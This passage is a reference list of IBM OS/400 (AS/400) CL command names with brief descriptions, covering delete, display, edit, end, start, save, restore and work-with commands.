Job Description DLTJOBQ Delete Job Queue DLTJRN Delete Journal DLTJRNRCV Delete Journal Receiver DLTLIB Delete library DLTLICPGM Delete Licensed Program DLTLIND Delete Line Description DLTLOCALE Delete Locale DLTM36 Delete Machine DLTM36CFG Delete Machine Configuration DLTMNU Delete Menu DLTMOD Delete Module DLTMODD Delete Mode Description DLTMSGF Delete Message File DLTMSGQ Delete Message Queue DLTNETF Delete Network File DLTNODGRP Delete Node Group DLTNODL Delete Node List DLTNTBD Delete NetBIOS Descriptions DLTNWID Delete Network Interface Desc DLTNWSALS Delete Network Server Alias DLTNWSAPP Delete Network Server App DLTNWSD Delete Network Server Desc DLTNWSSTG Delete NWS Storage Space DLTOUTQ Delete Output Queue DLTOVL Delete Overlay DLTOVR Delete Override DLTOVRDEVE Delete Override Pgm Dev Entry DLTPAGDFN Delete Page Definition DLTPAGSEG Delete Page Segment DLTPDG Delete Print Descriptor Group DLTPEXDTA Delete PEX Data DLTPFRDTA Delete Performance Data DLTPGM Delete Program DLTPNLGRP Delete Panel Group DLTPRB Delete Problem DLTPSFCFG Delete PSF Configuration DLTPTF Delete Program Temporary Fix DLTQMFORM Delete Query Management Form DLTQMQRY Delete Query Management Query DLTQRY Delete Query DLTQST Delete Questions and Answers DLTQSTDB Delete Q/A Database DLTRJECFG Delete RJE Configuration DLTSBSD Delete Subsystem Description DLTSCHIDX Delete Search Index DLTSHF Delete Bookshelf DLTSPADCT Delete Spelling Aid Dictionary DLTSPLF Delete Spooled File DLTSQLPKG Delete SQL Package DLTSRVPGM Delete Service Program DLTSSND Delete Session Description DLTTAPCGY Delete Tape Category DLTTBL Delete Table DLTUDFS Delete User-Defined FS DLTUSRIDX Delete User Index DLTUSRPRF Delete User Profile DLTUSRQ Delete User Queue DLTUSRSPC Delete User Space DLTVLDL Delete Validation List DLTWSCST Delete WSCST DLYJOB Delay Job DMPCLPGM Dump CL Program DMPDLO Dump Do*****ent Library Object DMPJOB Dump Job DMPJOBINT Dump Job Internal DMPOBJ Dump Object DMPSYSOBJ Dump System Object DMPTAP Dump Tape DMPTRC Dump Trace DO Do Group DSCJOB Disconnect Job DSPACC Display Access Code DSPACCAUT Display Access Code Authority DSPACCGRP Display Access Group DSPACTPJ Display Active Prestart Jobs DSPACTPRFL Display Active Profile List DSPACTSCD Display Activation Schedule DSPAPPNINF Display APPN Information DSPAUDJRNE Display Audit Journal Entries DSPAUT Display Authority DSPAUTHLR Display Authority Holder DSPAUTL Display Authorization List DSPAUTLDLO Display Authorization List DLO DSPAUTLOBJ Display Authorization List Obj DSPAUTUSR Display Authorized Users DSPBCKSTS Display Backup Status DSPBCKUP Display Backup Options DSPBCKUPL Display Backup List DSPBKP Display Breakpoints DSPBNDDIR Display Binding Directory DSPCCTRTE Display Circuit Route DSPCCTSRV Display Circuit Service DSPCDEFNT Display Coded Font DSPCFGL Display Configuration List DSPCLS Display Class DSPCMD Display Command DSPCNNL Display Connection List DSPCNNSTS Display Connection Status DSPCOSD Display Class-of-Service Desc DSPCPCST Display CHKPND Constraint DSPCSI Display Comm Side Information DSPCTLD Display Controller Description DSPCURDIR Display Current Directory DSPDBG Display Debug DSPDBGWCH Display Debug Watch DSPDBR Display Data Base Relations DSPDDMF Display DDM File DSPDEVD Display Device Description DSPDIRE Display Directory Entries DSPDKT Display Diskette DSPDLOAUD Display DLO Auditing Level DSPDLOAUT Display DLO Authority DSPDLONAM Display DLO Name DSPDOC Display Do*****ent DSPDSTL Display Distribution List DSPDSTLOG Display Distribution Log DSPDSTSRV Display Distribution Services DSPDTA Display Data DSPDTAARA Display Data Area DSPDTADCT Display Data Dictionary DSPEDTD Display Edit Description DSPEWCBCDE Display EWC Barcode Entry DSPEWCM Display Wireless Ctl Member DSPEWCPTCE Display EWC PTC Entry DSPEWLM Display Wireless Line Member DSPEXPSCD Display Expiration Schedule DSPFD Display File Description DSPFFD Display File Field Description DSPFLR Display Folder DSPFNTRSCA Display Font Resource Attr DSPFNTTBL Display Font Table DSPHDWRSC Display Hardware Resources DSPHFS Display Hierarchical File Sys. DSPHLPDOC Display Help Do*****ent DSPHSTGPH Display Historical Graph DSPHSTJS Display History using JS DSPIPLA Display IPL Attributes DSPIPXCCT Display IPX Circuit DSPIPXD Display IPX Description DSPJOB Display Job DSPJOBD Display Job Description DSPJOBJS Display Job using JS DSPJOBLOG Display Job Log DSPJOBTBL Display Job Tables DSPJRN Display Journal DSPJRNRCVA Display Journal Receiver Atr DSPKBDMAP Display Keyboard Map DSPLANADPP Display LAN Adapter Profile DSPLANMLB Display LAN Media Library DSPLANSTS Display LAN Status DSPLIB Display Library DSPLIBD Display Library Description DSPLIBL Display Library List DSPLICKEY Display License Key Info DSPLIND Display Line Description DSPLNK Display Object Links DSPLOG Display Log DSPM36 Display Machine DSPM36CFG Display Machine Configuration DSPMFSINF Display Mounted FS Information DSPMNUA Display Menu Attributes DSPMOD Display Module DSPMODD Display Mode Description DSPMODSRC Display Module Source DSPMODSTS Display Mode Status DSPMSG Display Messages DSPMSGD Display Message Description DSPNCK Display Nickname DSPNETA Display Network Attributes DSPNODGRP Display Node Group DSPNTBD Display NetBIOS Description DSPNWID Display Network Interface Desc DSPNWSA Display NWS Attributes DSPNWSALS Display Network Server Alias DSPNWSD Display Network Server Desc DSPNWSSSN Display Network Server Session DSPNWSSTC Display NWS Statistics DSPNWSSTG Display NWS Storage Space DSPNWSUSR Display Network Server Users DSPNWSUSRA Display NWS User Attributes DSPOBJAUT Display Object Authority DSPOBJD Display Object Description DSPOPCLNK Display OptiConnect Link Sts DSPOPT Display Optical DSPOPTLCK Display Optical Locks DSPOPTSVR Display Optical Server DSPOVR Display Override DSPPDGPRF Display PDG Profile DSPPFM Display Physical File Member DSPPFRDTA Display Performance Data DSPPFRGPH Display Performance Graph DSPPGM Display Program DSPPGMADP Display Program Adopt DSPPGMREF Display Program References DSPPGMVAR Display Program Variable DSPPRB Display Problems DSPPSFCFG Display PSF Configuration DSPPTF Display Program Temporary Fix DSPPWRSCD Display Power On/Off Schedule DSPRCDLCK Display Record Locks DSPRCYAP Dsp Recovery for Access Paths DSPRDBDIRE Display RDB Directory Entries DSPRJECFG Display RJE Configuration DSPRMTDFN Display Remote Definition DSPS36 Display S/36 Configuration DSPSAVF Display Save File DSPSBSD Display Subsystem Description DSPSECA Display Security Attributes DSPSECAUD Display Security Auditing DSPSFWRSC Display Software Resources DSPSOCSTS Display Sphere of Control Sts DSPSPLF Display Spooled File DSPSRVA Display Service Attributes DSPSRVPGM Display Service Program DSPSRVSTS Display Service Status DSPSYSSTS Display System Status DSPSYSVAL Display System Value DSPTAP Display Tape DSPTAPCGY Display Tape Category DSPTAPCTG Display Tape Cartridge DSPTAPSTS Display Tape Status DSPTM Display Trademarks DSPTRC Display Trace DSPTRCDTA Display Trace Data DSPUDFS Display User-Defined FS DSPUPGPRP Display Upgrade Preparation DSPUSRPMN Display User Permission DSPUSRPRF Display User Profile DSPUSRPRTI Display User Print Info DSPVT1MAP Display VT100 keyboard map DSPVTMAP Display VT Keyboard Map DSPWSUSR Display Work Station User DUPDKT Duplicate Diskette DUPOPT Duplicate Optical DUPTAP Duplicate Tape EDTAUTL Edit Authorization List EDTBCKUPL Edit Backup List EDTCPCST Edit CHKPND Constraints EDTDLOAUT Edit DLO Authority EDTDOC Edit Do*****ent EDTLIBL Edit Library List EDTOBJAUT Edit Object Authority EDTQST Edit Questions and Answers EDTRBDAP Edit Rebuild of Access Paths EDTRCYAP Edit Recovery for Access Path EDTS36PGMA Edit S/36 Program Attributes EDTS36PRCA Edit S/36 Procedure Attribute EDTS36SRCA Edit S/36 Source Attributes EDTWSOAUT Edit Workstation Object Aut EJTEMLOUT Eject Emulation Output ELEM Element Definition ELSE Else EMLPRTKEY Emulate Printer Keys ENDBCHJOB End Batch Job ENDCBLDBG End COBOL Debug ENDCLNUP End Cleanup ENDCMNSVR End Communications Server ENDCMNTRC End Communications Trace ENDCMTCTL End Commitment Control ENDCPYSCN End Copy Screen ENDCTLRCY End Controller Recovery ENDDBG End Debug Mode ENDDBGSVR End Debug Server ENDDBMON End Database Monitor ENDDEVRCY End Device Recovery ENDDIRSHD End Directory Shadowing ENDDO End Do Group ENDEPMENV End EPM Environments ENDGRPJOB End Group Job ENDHOSTSVR End Host Server ENDINP End Input ENDIPIIFC End IP over IPX Interface ENDIPSIFC End IP over SNA Interface ENDIPX End IPX ENDIPXCCT End IPX Circuit ENDISDB End ISDB ENDJOB End Job ENDJOBABN End Job Abnormal ENDJOBTRC End Job Trace ENDJRNAP End Journal Access Path ENDJRNPF End Journaling PF Changes ENDJS End Job Scheduler ENDLINRCY End Line Recovery ENDM36 End Machine ENDMOD End Mode ENDMSF End Mail Server Framework ENDNFSSVR End NFS Server ENDNWIRCY End Network Interface Recovery ENDNWSAPP End Network Server Application ENDPASTHR End Pass-Through ENDPEX End Performance Explorer ENDPFRCOL End Performance Collection ENDPFRMON End Performance Monitor ENDPGM End Program ENDPGMEXP End Program Export List ENDPJ End Prestarted Jobs ENDPRTEML End Printer Emulation ENDRCV End Receive ENDRDBRQS End relational database request ENDRDR End Reader ENDRJESSN End RJE Session ENDRMTSPT End Remote Support ENDRQS End Request ENDS36 End S/36 Session ENDSBS End Subsystem ENDSRVJOB End Service Job ENDSYS End System ENDTCP End TCP/IP ENDTCPCNN End TCP/IP Connection ENDTCPIFC End TCP/IP Interface ENDTCPLNK End TCP/IP Link ENDTCPPTP End Point-to-Point TCP/IP ENDTCPSVR End TCP/IP Server ENDTIESSN End TIE Session ENDTRPMGR End Trap Manager ENDWTR End Writer EOF End of File ERASE Remove Link EXPORT Export a Program Symbol EXPORTFS Change NFS Export EXTPGMINF Extract Program Information FILDOC File Do*****ent FMTDTA Format Data FNDSTRPART Find String in Parts with PDM FNDSTRPDM Find String Using PDM FTP Start TCP/IP File Transfer GENCAT Generate Message Catalog GENS36RPT Generate S/36 Report GENS38RPT Generate S/38 Report GO Go to Menu GOTO Go To GRTACCAUT Grant Access Code Authority GRTOBJAUT Grant Object Authority GRTUSRAUT Grant User Authority GRTUSRPMN Grant User Permission GRTWSOAUT Grant Workstation Object Aut HLDCMNDEV Hold Communications Device HLDDSTQ Hold Distribution Queue HLDJOB Hold Job HLDJOBQ Hold Job Queue HLDJOBSCDE Hold Job Schedule Entry HLDOUTQ Hold Output Queue HLDRDR Hold Reader HLDSPLF Hold Spooled File HLDWTR Hold Writer IF If INSNWSAPP Install Network Server App INSPTF Install Program Temporary Fix INZDKT Initialize Diskette INZDSTQ Initialize Distribution Queue INZOPT Initialize Optical INZPCS Initialize Client Access/400 INZPFM Initialize Physical File Mbr INZSYS Initialize System INZTAP Initialize Tape IPXPING Verify IPX Connection LNKDTADFN Link/Unlink Data Definition LODPTF Load Program Temporary Fix LODQSTDB Load Q/A Database LODRUN Load and Run LPR Send TCP/IP Spooled File MD Create Directory MDLSYS Model System MGRS36 Complete System/36 Migration MGRS36APF System/36 APF Migration MGRS36CBL System/36 Cobol Migration MGRS36DFU System/36 DFU Migration MGRS36DSPF System/36 Display File Migrate MGRS36ITM Migrate S/36 item MGRS36LIB System/36 Library Migration MGRS36MNU System/36 Menu Migration MGRS36MSGF System/36 Message File Migrate MGRS36QRY System/36 Query Migration MGRS36RPG System/36 RPG II Migration MGRS36SEC System/36 User ID Migration MGRS38OBJ Migrate S/38 object MIGRATE Migration Menu MKDIR Create Directory MONMSG Monitor Message MOUNT Add Mounted FS MOV Move Object MOVDOC Move Do*****ent MOVE Move Object MOVOBJ Move Object MRGFMRSPL Merge spool file with a form MRGFORMD Merge Form Description MRGMSGCLG Merge Message Catalog MRGMSGF Merge Message File MRGSRC Merge Source MRGTCPHT Merge TCP/IP Host Table NETSTAT Work with TCP/IP Network Sts OPNDBF Open Data Base File OPNQRYF Open Query File OVRDBF Override with Data Base File OVRDKTF Override with Diskette File OVRDSPF Override with Display File OVRICFDEVE Override ICF Pgm Device Entry OVRICFF Override ICF File OVRMSGF Override Message File OVRPRTF Override with Printer File OVRSAVF Override with Save File OVRTAPF Override with Tape File PARM Parameter Definition PGM Program PING Verify TCP/IP Connection PMTCTL Prompt Control Definition POSDBF Position Data Base File PRTACTRPT Print Activity Report PRTADPOBJ Print Adopting Objects PRTAFPDTA Print AFP Data PRTCMDUSG Print Command Usage PRTCMNSEC Print Communications Security PRTCMNTRC Print Communications Trace PRTCPTRPT Print Component Report PRTDEVADR Print Device Addresses PRTDOC Print Do*****ent PRTDSKINF Print Disk Information PRTERRLOG Print Error Log PRTINTDTA Print Internal Data PRTIPSCFG Print IP over SNA PRTJOBDAUT Print JOBD Authority PRTJOBRPT Print Job Interval Report PRTJOBTRC Print Job Trace PRTLCKRPT Print Lock Report PRTPEXRPT Print PEX Report PRTPOLRPT Print Pool Report PRTPUBAUT Print Publicly Auth Objects PRTPVTAUT Print Private Authorities PRTQAUT Print Queue Authority PRTRSCRPT Print Resource Report PRTSBSDAUT Print Subsystem Description PRTSCDJS Print Schedule using JS PRTSQLINF Print SQL Information PRTSWL Print Stop Word List PRTSYSINF Print System Information PRTSYSRPT Print System Report PRTSYSSECA Print System Security Attr PRTTNSRPT Print Transaction Report PRTTRCRPT Print Job Trace Report PRTTRGPGM Print Trigger Programs PRTUSROBJ Print User Objects PRTUSRPRF Print User Profile PWRDWNSYS Power Down System QMUS36 System/36 Command Selection QPZA000844 Send Distribution QRYDOCLIB Query Do*****ent Library QRYDST Query Distributions QRYPRBSTS Query Problem Status QRYTIEF Query TIE Files QUAL Qualifier Definition RCLACTGRP Reclaim Activation Group RCLDDMCNV Reclaim DDM Conversations RCLDLO Reclaim Do*****ent Lib Object RCLLIB Reclaim Library RCLOPT Reclaim Optical RCLRSC Reclaim Resources RCLSPLSTG Reclaim Spool Storage RCLSTG Reclaim Storage RCLTMPSTG Reclaim Temporary Storage RCVDST Receive Distribution RCVF Receive File RCVJRNE Receive Journal Entry RCVMGRDTA Receive Migration Data RCVMSG Receive Message RCVNETF Receive Network File RCVTIEF Receive TIE File RD Remove Directory READFILE Read a File REN Rename Object RESMGRNAM no discription RETURN Return RGZDLO Reorganize Do*****ent Lib Object RGZPFM Reorganize Physical File Mbr RLSCMNDEV Release Communications Device RLSDSTQ Release Distribution Queue RLSIFSLCK Release File System Locks RLSJOB Release Job RLSJOBQ Release Job Queue RLSJOBSCDE Release Job Schedule Entry RLSOUTQ Release Output Queue RLSRDR Release Reader RLSRMTPHS Release Remote Phase RLSSPLF Release Spooled File RLSWTR Release Writer RMDIR Remove Directory RMVACC Remove Access Code RMVAJE Remove Autostart Job Entry RMVALRD Remove Alert Description RMVAUTLE Remove Auth List Entry RMVBKP Remove Breakpoint RMVBNDDIRE Remove Binding Directory Entry RMVCCTRTE Remove Circuit Route RMVCCTSRV Remove Circuit Service RMVCFGLE Remove Cfg List Entries RMVCMNE Remove Communications Entry RMVCNNLE Remove Connection List Entry RMVCOMSNMP Remove Community for SNMP RMVDIR Remove Directory RMVDIRE Remove Directory Entry RMVDIRSHD Remove Directory Shadow System RMVDLOAUT Remove DLO Authority RMVDSTLE Remove Distribution List Entry RMVDSTQ Remove Distribution Queue RMVDSTRTE Remove Distribution Route RMVDSTSYSN Remove Secondary System Name RMVEMLCFGE Remove Configuration Entry RMVEWCBCDE Remove EWC Barcode Entry RMVEWCPTCE Remove EWC PTC Entry RMVEXITPGM Remove Exit Program RMVFCTE Remove Forms Control Entry RMVFTRACNE Remove Filter Action Entry RMVFTRSLTE Remove Filter Selection Entry RMVICFDEVE Remove ICF Device Entry RMVIPIADR Remove IP over IPX Address RMVIPIIFC Remove IP over IPX Interface RMVIPIRTE Remove IP over IPX Route RMVIPSIFC Remove IP over SNA Interface RMVIPSLOC Remove IP over SNA Location RMVIPSRTE Remove IP over SNA Route RMVIPXCCT Remove IPX Circuit RMVJOBQE Remove Job Queue Entry RMVJOBSCDE Remove Job Schedule Entry RMVJRNCHG Remove Journaled Changes RMVLANADPI Remove LAN Adapter Information RMVLANADPT Remove LAN Adapter RMVLIBLE Remove Library List Entry RMVLICKEY Remove License Key Information RMVLNK Remove Link RMVM Remove Member RMVMFS Remove Mounted FS RMVMSG Remove Message RMVMSGD Remove Message Description RMVNCK Remove Nickname RMVNETJOBE Remove Network Job Entry RMVNETTBLE Remove Network Table Entry RMVNODLE Remove Node List Entry RMVNWSSTGL Remove Server Storage Link RMVOPTCTG Remove Optical Cartridge RMVOPTSVR Remove Optical Server RMVPCLTBLE Remove Protocol Table Entry RMVPEXDFN Remove PEX Definition RMVPFCST Remove PF Constraint RMVPFTRG Remove Physical File Trigger RMVPGM Remove Program RMVPJE Remove Prestart Job Entry RMVPTF Remove Program Temporary Fix RMVRDBDIRE Remove RDB Directory Entry RMVREXBUF Remove REXX Buffer RMVRJECMNE Remove RJE Communication Entry RMVRJERDRE Remove RJE Reader Entry RMVRJEWTRE Remove RJE Writer Entry RMVRMTDFN Remove Remote Definition RMVRPYLE Remove Reply List Entry RMVRTGE Remove Routing Entry RMVSCHIDXE Remove Search Index Entry RMVSNILOC Remove SNA over IPX Location RMVSOCE Remove Sphere of Control Entry RMVSRVTBLE Remove Service Table Entry RMVTAPCTG Remove Tape Cartridge RMVTCPHTE Remove TCP/IP Host Table Entry RMVTCPIFC Remove TCP/IP Interface RMVTCPLNK Remove TCP/IP Link RMVTCPPORT Remove TCP/IP Port Restriction RMVTCPRSI Remove TCP/IP Remote System RMVTCPRTE Remove TCP/IP Route RMVTRC Remove Trace RMVWSE Remove Work Station Entry RNM Rename Object RNMCNNLE Rename Connection List Entry RNMDIRE Rename Directory Entry RNMDKT Rename Diskette RNMDLO Rename Do*****ent Library Object RNMDSTL Rename Distribution List RNMLANADPI Rename LAN Adapter RNMM Rename Member RNMNCK Rename Nickname RNMOBJ Rename Object RNMTCPHTE Rename TCP/IP Host Table Entry ROLLBACK Rollback RPLDOC Replace Do*****ent RQSORDAST Request Order Assistance RRTJOB Reroute Job RSMBKP Resume Breakpoint RSMCTLRCY Resume Controller Recovery RSMDEVRCY Resume Device Recovery RSMLINRCY Resume Line Recovery RSMNWIRCY Resume NWI Recovery RST Restore Object RSTAUT Restore Authority RSTCFG Restore Configuration RSTDLO Restore Do*****ent Lib Object RSTLIB Restore Library RSTLICPGM Restore Licensed Program RSTOBJ Restore Object RSTS36F Restore S/36 File RSTS36FLR Restore S/36 Folder RSTS36LIBM Restore S/36 Library Members RSTS38AUT Restore S/38 Authorities RSTSHF Restore Bookshelf RSTUSRPRF Restore User Profiles RTVAUTLE Retrieve Auth List Entry RTVBCKUP Retrieve Backup Options RTVBNDSRC Retrieve Binder Source RTVCFGSRC Retrieve Configuration Source RTVCFGSTS Retrieve Configuration Status RTVCLDSRC Retrieve C Locale Description RTVCLNUP Retrieve Cleanup RTVCLSRC Retrieve CL Source RTVCURDIR Retrieve Current Directory RTVDLOAUT Retrieve DLO Authority RTVDLONAM Retrieve DLO Name RTVDOC Retrieve Do*****ent RTVDSKINF Retrieve Disk Information RTVDTAARA Retrieve Data Area RTVGRPA Retrieve Group Attributes RTVJOBA Retrieve Job Attributes RTVJRNE Retrieve Journal Entry RTVLIBD Retrieve Library Description RTVMBRD Retrieve Member Description RTVMSG Retrieve Message RTVNETA Retrieve Network Attributes RTVOBJD Retrieve Object Description RTVPDGPRF Retrieve PDG Profile RTVPWRSCDE Retrieve Power Schedule Entry RTVQMFORM Retrieve Query Management Form RTVQMQRY Retrieve Query Mgmt Query RTVS36A Retrieve S/36 Environment Attr RTVSWLSRC Retrieve Stop Word List Source RTVSYSINF Retrieve System Information RTVSYSVAL Retrieve System Value RTVUSRPRF Retrieve User Profile RTVUSRPRTI Retrieve User Print Info RTVWSCST Retrieve WSCST source RUNBCKUP Run Backup RUNLPDA Run LPDA-2 RUNQRY Run Query RUNRMTCMD Run Remote Command RUNSQLSTM Run SQL Statements RVKACCAUT Revoke Access Code Authority RVKOBJAUT Revoke Object Authority RVKPUBAUT Revoke Public Authority RVKUSRPMN Revoke User Permission RVKWSOAUT Revoke Workstation Object Aut SAV Save Object SAVAPARDTA Save APAR Data SAVCFG Save Configuration SAVCHGOBJ Save Changed Objects SAVDLO Save Do*****ent Library Object SAVEBRKMSG Send Break Message SAVLIB Save Library SAVLICPGM Save Licensed Program SAVOBJ Save Object SAVRST Save Restore SAVRSTCHG Save Restore Changed Objects SAVRSTDLO Save Restore Doc/Lib Object SAVRSTLIB Save Restore Library SAVRSTOBJ Save Restore Object SAVS36F Save S/36 File SAVS36LIBM Save S/36 Library Members SAVSAVFDTA Save Save File Data SAVSECDTA Save Security Data SAVSHF Save Bookshelf SAVSTG Save Storage SAVSYS Save System SBMCODEJOB Submit CODE Batch Job SBMDBJOB Submit Data Base Jobs SBMDKTJOB Submit Diskette Jobs SBMFNCJOB Submit Finance Job SBMJOB Submit Job SBMNETJOB Submit Network Job SBMNWSCMD Submit Network Server Command SBMRJEJOB Submit RJE Job SBMRMTCMD Submit Remote Command SETATNPGM Set Attention Program SETCSTDTA Set Customization Data SETKBDMAP Set Keyboard Map SETOBJACC Set Object Access SETPGMINF Set Program Information SETTAPCGY Set Tape Category SETUPGENV Set Upgrade Environment SETVT1MAP Set VT100 keyboard map SETVTMAP Set VT Keyboard Map SETVTTBL Set VT Mapping Tables SIGNOFF Sign Off SLTCMD Select Command SNDDST Send Distribution SNDDSTQ Send Distribution Queue SNDF Send File SNDFNCIMG Send Finance Diskette Image SNDJRNE Send Journal Entry SNDMGRDTA Send Migration Data SNDMSG Send Message SNDNETF Send Network File SNDNETMSG Send Network Message SNDNETSPLF Send Network Spooled File SNDNWSMSG Send Network Server Message SNDPGMMSG Send Program Message SNDPTFORD Send PTF Order SNDRCVF Send/Receive File SNDRJECMD Send RJE Command SNDRPY Send Reply SNDSRVRQS Send Service Request SNDTCPSPLF Send TCP/IP Spooled File SNDTIEF Send TIE File SNDUSRMSG Send User Message STATFS Display Mounted FS Information STRAPF Advanced Printer Function STRBEST Start BEST/1 STRCBLDBG Start COBOL Debug STRCLNUP Start Cleanup STRCMNSVR Start Communications Server STRCMNTRC Start Communications Trace STRCMTCTL Start Commitment Control STRCODE Start CODE STRCPYSCN Start Copy Screen STRDBG Start Debug STRDBGSVR Start Debug Server STRDBMON Start Database Monitor STRDBRDR Start Data Base Reader STRDFU Start DFU STRDIRSHD Start Directory Shadowing STRDKTRDR Start Diskette Reader STRDKTWTR Start Diskette Writer STREDU Start Education STREML3270 Start 3270 Display Emulation STREPMENV Start EPM Environment STRHOSTSVR Start Host Server STRIDD Start IDDU STRINFSKR Start InfoSeeker STRIPIIFC Start IP over IPX Interface STRIPSIFC Start IP over SNA Interface STRIPX Start IPX STRIPXCCT Start IPX Circuit STRISDB Start ISDB STRITF Start ITF STRJOBTRC Start Job Trace STRJRNAP Start Journal Access Path STRJRNPF Start Journal Physical File STRMOD Start Mode STRMSF Start Mail Server Framework STRNFSSVR Start NFS Server STRNWSAPP Start Network Server App STROBJCVN Start Object Conversion STRPASTHR Start Pass-Through STRPCCMD Start PC Command STRPCO Start PC Organizer STRPDM Start PDM STRPEX Start Performance Explorer STRPFRCOL Start Performance Collection STRPFRG Start Performance Graphics STRPFRMON Start Performance Monitor STRPFRT Start Performance Tools STRPGMEXP Start Program Export List STRPGMMNU Start Programmer Menu STRPJ Start Prestarted Jobs STRPRTEML Start Printer Emulation STRPRTWTR Start Printer Writer STRQM Start DB2 Query Manager OS/400 STRQMPRC Start Query Management Proc STRQMQRY Start Query Management Query STRQRY Start Query STRQST Start Question and Answer STRREXPRC Start REXX Procedure STRRJECSL Start RJE Console STRRJERDR Start RJE Reader STRRJESSN Start RJE Session STRRJEWTR Start RJE Writer STRRLU Start Report Layout Utility STRRMTSPT Start Remote Support STRRMTWTR Start Remote Writer STRS36 Start S/36 Session STRS36MGR Start S/36 Migration STRS36PRC Start S/36 Procedure STRS38MGR Start S/38 Migration STRSBS Start Subsystem STRSCHIDX Start Search Index STRSDA Start SDA STRSEU Start Source Entry Utility STRSPTN Start Support Network STRSQL Start SQL Interactive Session STRSRVJOB Start Service Job STRSST Start System Service Tools STRTCP Start TCP/IP STRTCPFTP Start TCP/IP File Transfer STRTCPIFC Start TCP/IP Interface STRTCPLNK Start TCP/IP Link STRTCPPTP Start Point-to-Point TCP/IP STRTCPSVR Start TCP/IP Server STRTCPTELN Start TCP/IP TELNET STRTIESSN Start TIE Session STRTRPMGR Start Trap Manager TELNET Start TCP/IP TELNET TFRBCHJOB Transfer Batch Job TFRCTL Transfer Control TFRGRPJOB Transfer to Group Job TFRJOB Transfer Job TFRPASTHR Transfer Pass-Through TFRSECJOB Transfer Secondary Job TRCCPIC Trace CPI Communications TRCICF Trace ICF TRCINT Trace Internal TRCJOB Trace Job TRCREX Trace REXX UNMOUNT Remove Mounted FS UPDDTA Update Data with Temp Program UPDPGM Update Program UPDSRVPGM Update Service Program UPDSYSINF Update System Information VFYAPPCCNN Verify APPC Connection VFYCMN Verify Communications VFYIPXCNN Verify IPX Connection VFYLNKLPDA Verify Link supporting LPDA-2 VFYOPT Verify Optical VFYPRT Verify Printer VFYTAP Verify Tape VFYTCPCNN Verify TCP/IP Connection VRYCFG Vary Configuration WAIT Wait WRKACTJOB Work with Active Jobs WRKALR Work with Alerts WRKALRD Work with Alert Descriptions WRKALRTBL Work with Alert Table WRKAUT Work with Authority WRKAUTL Work with Authorization Lists WRKBNDDIR Work with Binding Directories WRKBNDDIRE Work with Binding Dir Entries WRKBPTBL Work with BOOTP table WRKCCTRTE Work with Circuit Routes WRKCCTSRV Work with Circuit Services WRKCFGL Work with Configuration Lists WRKCFGSTS Work with Configuration Status WRKCHTFMT Work with Chart Formats WRKCLS Work with Classes WRKCMD Work with Commands WRKCMTDFN Work with Commitment Def WRKCNNL Work with Connection Lists WRKCNNLE Work with CNNL Entries WRKCNTINF Work with Contact Information WRKCOSD Work with COS Descriptions WRKCSI Work Comm Side Information WRKCTLD Work with Ctl Descriptions WRKDBFIDD Work with DB Files using IDDU WRKDDMF Work with DDM Files WRKDEVD Work with Device Descriptions WRKDEVTBL Work with Device Tables WRKDIRE Work with Directory Entries WRKDIRLOC Work with Directory Locations WRKDIRSHD Work with Dir Shadow Systems WRKDOC Work with Do*****ents WRKDOCLIB Work with Do*****ent Libraries WRKDOCPRTQ Work with Do*****ent Print Queue WRKDPCQ Work with DSNX/PC Queues WRKDSKSTS Work with Disk Status WRKDSTL Work with Distribution Lists WRKDSTQ Work with Distribution Queue WRKDTAARA Work with Data Areas WRKDTADCT Work with Data Dictionaries WRKDTADFN Work with Data Definitions WRKDTAQ Work with Data Queues WRKEDTD Work with Edit Descriptions WRKENVVAR Work with Environment Var WRKF Work with Files WRKFCNARA Work with Functional Areas WRKFCT Work with Forms Control Table WRKFLR Work with Folders WRKFNTRSC Work with Font Resources WRKFORMDF Work with Form Definitions WRKFTR Work with Filters WRKFTRACNE Work with Ftr Action Entry WRKFTRSLTE Work with Ftr Selection Entry WRKGRPPDM Work with Groups Using PDM WRKGSS Work with Graphics Symbol Sets WRKHDWPRD Work with Hardware Products WRKHDWRSC Work with Hardware Resources WRKHLDOPTF Work with Held Optical Files WRKHTTPCFG Work with HTTP Configuration WRKIPXCCT Work with IPX Circuits WRKIPXD Work with IPX Descriptions WRKIPXSTS Work with IPX Status WRKJOB Work with Job WRKJOBD Work with Job Descriptions WRKJOBQ Work with Job Queue WRKJOBSCDE Work with Job Schedule Entries WRKJRN Work with Journal WRKJRNA Work with Journal Attributes WRKJRNRCV Work with Journal Receivers WRKLANADPT Work With LAN Adapters WRKLIB Work with Libraries WRKLIBPDM Work with Libraries Using PDM WRKLICINF Work with License Information WRKLIND Work with Line Descriptions WRKLNK Work with Object Links WRKM36 Work with Machines WRKM36CFG Work with Machine Config WRKMBRPDM Work with Members Using PDM WRKMLBSTS Work with Media Library Status WRKMNU Work with Menus WRKMOD Work with Module WRKMODD Work with Mode Descriptions WRKMSG Work with Messages WRKMSGD Work with Message Descriptions WRKMSGF Work with Message Files WRKMSGQ Work with Message Queues WRKNAMSMTP Work with Names for SMTP WRKNCK Work With Nickname WRKNETF Work with Network Files WRKNETJOBE Work with Network Job Entries WRKNETTBLE Work with Network Table Entry WRKNODL Work with Node List WRKNODLE Work with Node List Entries WRKNTBD Work with NetBIOS Descriptions WRKNWID Work with Network Interfaces WRKNWSALS Work with NWS Aliases WRKNWSD Work with Network Servers WRKNWSENR Work with NWS User Enrollment WRKNWSSSN Work with NWS Sessions WRKNWSSTG Work with NWS Storage Spaces WRKNWSSTS Work with NWS Status WRKOBJ Work with Objects WRKOBJLCK Work with Object Locks WRKOBJOWN Work with Objects by Owner WRKOBJPDM Work with Objects Using PDM WRKOBJPGP Work Objects by Primary Group WRKOPCACT Work with OptiConnect Activity WRKOPTDIR Work with Optical Directories WRKOPTF Work with Optical Files WRKOPTVOL Work with Optical Volumes WRKORDINF Work with Order Information WRKORDRQS Work with Order Requests WRKOUTQ Work with Output Queue WRKOUTQD Work with OUTQ Description WRKOVL Work with Overlays WRKPAGDFN Work with Page Definitions WRKPAGSEG Work with Page Segments WRKPARTPDM Work with Parts Using PDM WRKPCLTBLE Work with Protocol Table Entry WRKPFCST Work with PF Constraints WRKPFRCOL Work with Pfr Collection WRKPGM Work with Programs WRKPGMTBL Work with Program Tables WRKPNLGRP Work with Panel Groups WRKPRB Work with Problem WRKPRDINF Work with Product Information WRKPRJPDM Work with Projects Using PDM WRKPRTSTS Work with Printing Status WRKPSFCFG Work with PSF Configuration WRKQMFORM Work with Query Mgmt Forms WRKQMQRY Work with Query Mgmt Queries WRKQRY Work With Queries WRKQST Work with Questions WRKRDBDIRE Work with RDB Directory Entry WRKRDR Work with Readers WRKREGINF Work with Registration Info 